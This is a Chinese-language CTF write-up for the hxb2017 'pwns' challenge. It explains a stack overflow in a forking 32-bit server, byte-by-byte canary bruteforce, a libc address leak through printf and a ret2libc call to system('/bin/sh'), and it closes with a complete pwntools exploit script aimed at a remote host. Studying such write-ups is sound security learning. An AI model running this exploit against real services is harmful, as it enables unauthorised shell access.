美文网首页CTFctf
hxb2017 pwns canary bruteforce

hxb2017 pwns canary bruteforce

作者: v1gor | 来源:发表于2019-10-31 16:28 被阅读0次

    利用fork的子程序保持canary不变的特性来逐字节爆破canary

    流程概述

    本题主要流程是:

    • 询问是否输入数据,选择N直接退出,选择Y将fork出一个子进程进行下列工作
    • 将你的输入作为base64编码的字符串进行解码,输入的主要限制就是得是base64编码过的字串
    • 将输入的已编码字串拷贝到栈上一个局部变量buf中,进行解码,解码后的值就存在buf里
    • 用printf("%s\n")打印出解码后buf中的值

    漏洞分析

    在拷贝到buf的过程中,由于拷贝长度远大于buf相对ebp的偏移,因此存在栈溢出

    但是这题开了canary保护,每次失败后父进程将会fork出子进程来进行下一次询问,因为fork出的子进程使用相同的canary,考虑逐字节爆破canary.

    为什么fork出的子进程canary会相同呢?看下检查canary的函数:

    canary.png

    ecx中存储的就是canary,看到是从gs段的某个偏移处取出的,最近在学操作系统所以对这个全局段寄存器比较脸熟,在windows下,gs存储TIB,PEB之类的进程数据,但是linux中不清楚是怎么样的,从canary不变的事实推测,所有的子进程和父进程是使用同一个gs寄存器的.

    关于gs的资料,参考的是 https://bbs.pediy.com/thread-145559.htm

    实现攻击

    定位canary

    用如下脚本可快速定位覆盖本体canary需要的输入长度:

    from pwn import *
    import base64
    io =  process("./pwns")
    for i in range(0x100,0x118):
        print io.recvuntil("[Y/N]")
        io.sendline("Y")
        io.sendline(base64.b64encode("a"*i))
        if "smash" in io.recvuntil("May"):
            print "smash detected:",I
            break
        else:
            print I
    

    运行结果:

    leakpoint.png

    可知输入长度为258字节的时候发生了canary覆盖,因此可以先输入257个"a",再输入一个字符覆盖canary最高字节,如果覆盖正确则程序会正常返回,输出"Finish";如果错误则本地程序会报错“smash”,远程则表现为不输出Finish.

    按上述分析可逐字节爆破canary,之后可以进行栈溢出.

    泄露libc实际地址

    在栈上发现了一个__libc_start_main附近的地址,由于canary检测之前就调用了printf来打印解码后的字符串,因此可以轻松泄露栈上任意高于buf地址的栈中的值.

    爆破canary

    这一题由于printf的存在,我们不需要爆破4字节的canary,因为最高字节如果不是"\x00",那么将printf("%s\n")将会泄露接下来的三个字节的canary,因此只需要爆破一个字节即可.

    那为啥不直接一次泄露4字节呢,这个我一开始就试过,直接输入257个"a"的话一般不会泄露出整个canary,一开始我也很不解,但是调试过程中发现canary的最高字节一般都是"\x00"(这是什么原理emmmmm)所以这个脚本写起来就很简单了.

    遇到的问题

    • 这题遇到的问题是一开始想用pwntools.process的env参数修改LD_PRELOAD的值来直接加载提供的libc,但是不管是我这里(deepin x64)还是队友(ubuntu 32bit),都无法正常运行,报错错误码-11,原因不明.

    • 由于我是64位的debian,一开始本地调试的时候用64位的libc调了半天都过不了(真是zz),这里记录一下,64位机为了兼容32位程序,都存有64位的libc和32位的libc,以后调试32位带libc的程序计算偏移时,应该选取32位的libc,具体libc存放的具体位置是:

        32位: /lib/i386-linux-gnu/libc.so.6
        64位: /lib/x86_64-linux-gnu/libc.so.6
      

    脚本

    #encoding=utf8
    from pwn import *
    import base64
    #io = process("./pwns",env={'LD_PRELOAD':'./libc.so.6'})
    #io = process("./pwns")
    io = remote("118.190.77.161",10080)
    libc = ELF("./libc.so.6")
    c = 0
    #泄露libc实际地址
    print "1:",repr(io.recvuntil("data[Y/N]\n"))
    io.sendline("Y")
    print "2:",repr(io.recvuntil("datas:\n\n"))
    payload = base64.b64encode("a"*257+"b"*4+19 * 4 * "a")
    io.sendline(payload)
    data = io.recvuntil("\n")
    print repr(data)
    libc_main_F6 = int(data[::-1][2:6].encode("hex"),16)
    libc_main = libc_main_F6 - 0xf6
    
    #计算system,binsh实际地址
    main_offset = libc.symbols["__libc_start_main"]
    print "[+]main_offset:",hex(main_offset)
    ret_addr = 0x6569f - main_offset + libc_main
    system_offset = libc.symbols["system"]
    print "[+]system_offset:",hex(system_offset)
    
    system_addr = libc_main + system_offset - main_offset
    bin_sh_offset =0x15CDC8 #0x00162CEC#
    bin_sh_addr = bin_sh_offset - system_offset + system_addr
    
    print "[+]leak addr:",hex(libc_main)
    print "[+]system addr:",hex(system_addr)
    print "[+]binsh addr",hex(bin_sh_addr)
    
    #爆破canary
    canary = ""
    io.recv()
    io.sendline("Y")
    io.recvuntil("datas:")
    io.recv(timeout = 1)
    payload = base64.b64encode("A"*257+"a")
    io.send(payload)
    content = io.recvuntil("data[Y/N]")
    io.recv(timeout = 1)
    print "content is:",repr(content)
    canary = content[257+11:257+14]
    
    
    for c1 in range(0,0xff):
        io.sendline("Y")
        io.recvuntil("datas:")
        io.recv(timeout = 1)
        payload = base64.b64encode("A"*257+chr(c1))
        print "payload:",payload
        io.send(payload)
        content = io.recvuntil("data[Y/N]")
        io.recv(timeout = 1)
        print "content is:",repr(content)
        canary = chr(c1) +  canary 
        if "Finish" in content:
            print "[!]canary is:",canary.encode("hex")
            break
        else:
            print "[-]"+canary.encode("hex")+" not right"
    
    payload =base64.b64encode("a" * 257 + canary + "b"*4*3 + p32(system_addr)+ "x"*4+ p32(bin_sh_addr))
    io.sendline("Y")
    io.sendline(payload)
    io.interactive()
    

    相关文章

      网友评论

        本文标题:hxb2017 pwns canary bruteforce

        本文链接:https://www.haomeiwen.com/subject/buutbctx.html